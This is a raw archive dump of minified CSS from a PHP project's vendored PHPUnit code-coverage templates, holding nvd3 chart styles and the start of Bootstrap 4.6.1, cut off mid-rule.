.nv-legend .nv-disabled circle{fill-opacity:0}.nvd3 .nv-brush .extent{fill-opacity:0!important}.nvd3 .nv-brushBackground rect{stroke:#000;stroke-width:.4;fill:#fff;fill-opacity:.7}.nvd3.nv-ohlcBar .nv-ticks .nv-tick{stroke-width:1px}.nvd3.nv-ohlcBar .nv-ticks .nv-tick.hover{stroke-width:2px}.nvd3.nv-ohlcBar .nv-ticks .nv-tick.positive{stroke:#2ca02c}.nvd3.nv-ohlcBar .nv-ticks .nv-tick.negative{stroke:#d62728}.nvd3 .background path{fill:none;stroke:#EEE;stroke-opacity:.4;shape-rendering:crispEdges}.nvd3 .foreground path{fill:none;stroke-opacity:.7}.nvd3 .nv-parallelCoordinates-brush .extent{fill:#fff;fill-opacity:.6;stroke:gray;shape-rendering:crispEdges}.nvd3 .nv-parallelCoordinates .hover{fill-opacity:1;stroke-width:3px}.nvd3 .missingValuesline line{fill:none;stroke:#000;stroke-width:1;stroke-opacity:1;stroke-dasharray:5,5}.nvd3.nv-pie path{stroke-opacity:0;transition:fill-opacity 250ms linear,stroke-width 250ms linear,stroke-opacity 250ms linear;-moz-transition:fill-opacity 250ms linear,stroke-width 250ms linear,stroke-opacity 250ms linear;-webkit-transition:fill-opacity 250ms linear,stroke-width 250ms linear,stroke-opacity 250ms linear}.nvd3.nv-pie .nv-pie-title{font-size:24px;fill:rgba(19,196,249,.59)}.nvd3.nv-pie .nv-slice text{stroke:#000;stroke-width:0}.nvd3.nv-pie path{stroke:#fff;stroke-width:1px;stroke-opacity:1}.nvd3.nv-pie .hover path{fill-opacity:.7}.nvd3.nv-pie .nv-label{pointer-events:none}.nvd3.nv-pie .nv-label rect{fill-opacity:0;stroke-opacity:0}.nvd3 .nv-groups .nv-point.hover{stroke-width:20px;stroke-opacity:.5}.nvd3 .nv-scatter .nv-point.hover{fill-opacity:1}.nv-noninteractive{pointer-events:none}.nv-distx,.nv-disty{pointer-events:none}.nvd3.nv-sparkline path{fill:none}.nvd3.nv-sparklineplus g.nv-hoverValue{pointer-events:none}.nvd3.nv-sparklineplus .nv-hoverValue line{stroke:#333;stroke-width:1.5px}.nvd3.nv-sparklineplus,.nvd3.nv-sparklineplus g{pointer-events:all}.nvd3 .nv-hoverArea{fill-opacity:0;stroke-opacity:0}.nvd3.nv-sparklineplus .nv-xValue,.nvd3.nv-sparklineplus .nv-yValue{stroke-width:0;font-size:.9em;font-weight:400}.nvd3.nv-sparklineplus .nv-yValue{stroke:#f66}.nvd3.nv-sparklineplus .nv-maxValue{stroke:#2ca02c;fill:#2ca02c}.nvd3.nv-sparklineplus .nv-minValue{stroke:#d62728;fill:#d62728}.nvd3.nv-sparklineplus .nv-currentValue{font-weight:700;font-size:1.1em}.nvd3.nv-stackedarea path.nv-area{fill-opacity:.7;stroke-opacity:0;transition:fill-opacity 250ms linear,stroke-opacity 250ms linear;-moz-transition:fill-opacity 250ms linear,stroke-opacity 250ms linear;-webkit-transition:fill-opacity 250ms linear,stroke-opacity 250ms linear}.nvd3.nv-stackedarea path.nv-area.hover{fill-opacity:.9}.nvd3.nv-stackedarea .nv-groups .nv-point{stroke-opacity:0;fill-opacity:0}.nvtooltip{position:absolute;background-color:rgba(255,255,255,1);color:rgba(0,0,0,1);padding:1px;border:1px solid rgba(0,0,0,.2);z-index:10000;display:block;font-family:Arial;font-size:13px;text-align:left;pointer-events:none;white-space:nowrap;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.nvtooltip{background:rgba(255,255,255,.8);border:1px solid rgba(0,0,0,.5);border-radius:4px}.nvtooltip.with-transitions,.with-transitions .nvtooltip{transition:opacity 50ms linear;-moz-transition:opacity 50ms linear;-webkit-transition:opacity 50ms linear;transition-delay:200ms;-moz-transition-delay:200ms;-webkit-transition-delay:200ms}.nvtooltip.x-nvtooltip,.nvtooltip.y-nvtooltip{padding:8px}.nvtooltip h3{margin:0;padding:4px 14px;line-height:18px;font-weight:400;background-color:rgba(247,247,247,.75);color:rgba(0,0,0,1);text-align:center;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.nvtooltip p{margin:0;padding:5px 14px;text-align:center}.nvtooltip span{display:inline-block;margin:2px 0}.nvtooltip table{margin:6px;border-spacing:0}.nvtooltip table td{padding:2px 9px 2px 0;vertical-align:middle}.nvtooltip table td.key{font-weight:400}.nvtooltip table td.value{text-align:right;font-weight:700}.nvtooltip table tr.highlight td{padding:1px 9px 1px 0;border-bottom-style:solid;border-bottom-width:1px;border-top-style:solid;border-top-width:1px}.nvtooltip table td.legend-color-guide div{width:8px;height:8px;vertical-align:middle}.nvtooltip table td.legend-color-guide div{width:12px;height:12px;border:1px solid #999}.nvtooltip .footer{padding:3px;text-align:center}.nvtooltip-pending-removal{pointer-events:none;display:none}.nvd3 .nv-interactiveGuideLine{pointer-events:none}.nvd3 line.nv-guideline{stroke:#ccc}res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/custom.css000064400000000000147577714370027221 0ustar00readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/bootstrap.min.css000064400000474341147577714370030456 0ustar00res/*! * Bootstrap v4.6.1 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors * Copyright 2011-2021 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus:not(:focus-visible){outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([class]){color:inherit;text-decoration:none}a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit;text-align:-webkit-match-parent}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:80%;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#6c757d}.blockquote-footer::before{content:"\2014\00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code{font-size:87.5%;color:#e83e8c;word-wrap:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-ms-flex-order:-1;order:-1}.order-last{-ms-flex-order:13;order:13}.order-0{-ms-flex-order:0;order:0}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}.order-3{-ms-flex-order:3;order:3}.order-4{-ms-flex-order:4;order:4}.order-5{-ms-flex-order:5;order:5}.order-6{-ms-flex-order:6;order:6}.order-7{-ms-flex-order:7;order:7}.order-8{-ms-flex-order:8;order:8}.order-9{-ms-flex-order:9;order:9}.order-10{-ms-flex-order:10;order:10}.order-11{-ms-flex-order:11;order:11}.order-12{-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-sm-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-sm-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-sm-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-sm-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-sm-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-sm-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-sm-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-ms-flex-order:-1;order:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:10;order:10}.order-sm-11{-ms-flex-order:11;order:11}.order-sm-12{-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-md-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-md-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-md-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-md-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-md-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-md-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-md-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-ms-flex-order:-1;order:-1}.order-md-last{-ms-flex-order:13;order:13}.order-md-0{-ms-flex-order:0;order:0}.order-md-1{-ms-flex-order:1;order:1}.order-md-2{-ms-flex-order:2;order:2}.order-md-3{-ms-flex-order:3;order:3}.order-md-4{-ms-flex-order:4;order:4}.order-md-5{-ms-flex-order:5;order:5}.order-md-6{-ms-flex-order:6;order:6}.order-md-7{-ms-flex-order:7;order:7}.order-md-8{-ms-flex-order:8;order:8}.order-md-9{-ms-flex-order:9;order:9}.order-md-10{-ms-flex-order:10;order:10}.order-md-11{-ms-flex-order:11;order:11}.order-md-12{-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-lg-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-lg-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-lg-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-lg-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-lg-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-lg-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-lg-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-ms-flex-order:-1;order:-1}.order-lg-last{-ms-flex-order:13;order:13}.order-lg-0{-ms-flex-order:0;order:0}.order-lg-1{-ms-flex-order:1;order:1}.order-lg-2{-ms-flex-order:2;order:2}.order-lg-3{-ms-flex-order:3;order:3}.order-lg-4{-ms-flex-order:4;order:4}.order-lg-5{-ms-flex-order:5;order:5}.order-lg-6{-ms-flex-order:6;order:6}.order-lg-7{-ms-flex-order:7;order:7}.order-lg-8{-ms-flex-order:8;order:8}.order-lg-9{-ms-flex-order:9;order:9}.order-lg-10{-ms-flex-order:10;order:10}.order-lg-11{-ms-flex-order:11;order:11}.order-lg-12{-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-xl-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-xl-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-xl-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-xl-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-xl-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-xl-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-xl-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-ms-flex-order:-1;order:-1}.order-xl-last{-ms-flex-order:13;order:13}.order-xl-0{-ms-flex-order:0;order:0}.order-xl-1{-ms-flex-order:1;order:1}.order-xl-2{-ms-flex-order:2;order:2}.order-xl-3{-ms-flex-order:3;order:3}.order-xl-4{-ms-flex-order:4;order:4}.order-xl-5{-ms-flex-order:5;order:5}.order-xl-6{-ms-flex-order:6;order:6}.order-xl-7{-ms-flex-order:7;order:7}.order-xl-8{-ms-flex-order:8;order:8}.order-xl-9{-ms-flex-order:9;order:9}.order-xl-10{-ms-flex-order:10;order:10}.order-xl-11{-ms-flex-order:11;order:11}.order-xl-12{-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.table{width:100%;margin-bottom:1rem;color:#212529}.table td,.table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table-sm td,.table-sm th{padding:.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,.05)}.table-hover tbody tr:hover{color:#212529;background-color:rgba(0,0,0,.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#b8daff}.table-primary tbody+tbody,.table-primary td,.table-primary th,.table-primary thead th{border-color:#7abaff}.table-hover .table-primary:hover{background-color:#9fcdff}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#9fcdff}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#d6d8db}.table-secondary tbody+tbody,.table-secondary td,.table-secondary th,.table-secondary thead th{border-color:#b3b7bb}.table-hover .table-secondary:hover{background-color:#c8cbcf}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c8cbcf}.table-success,.table-success>td,.table-success>th{background-color:#c3e6cb}.table-success tbody+tbody,.table-success td,.table-success th,.table-success thead th{border-color:#8fd19e}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-info>th{background-color:#bee5eb}.table-info tbody+tbody,.table-info td,.table-info th,.table-info thead th{border-color:#86cfda}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-warning tbody+tbody,.table-warning td,.table-warning th,.table-warning thead th{border-color:#ffdf7e}.table-hover 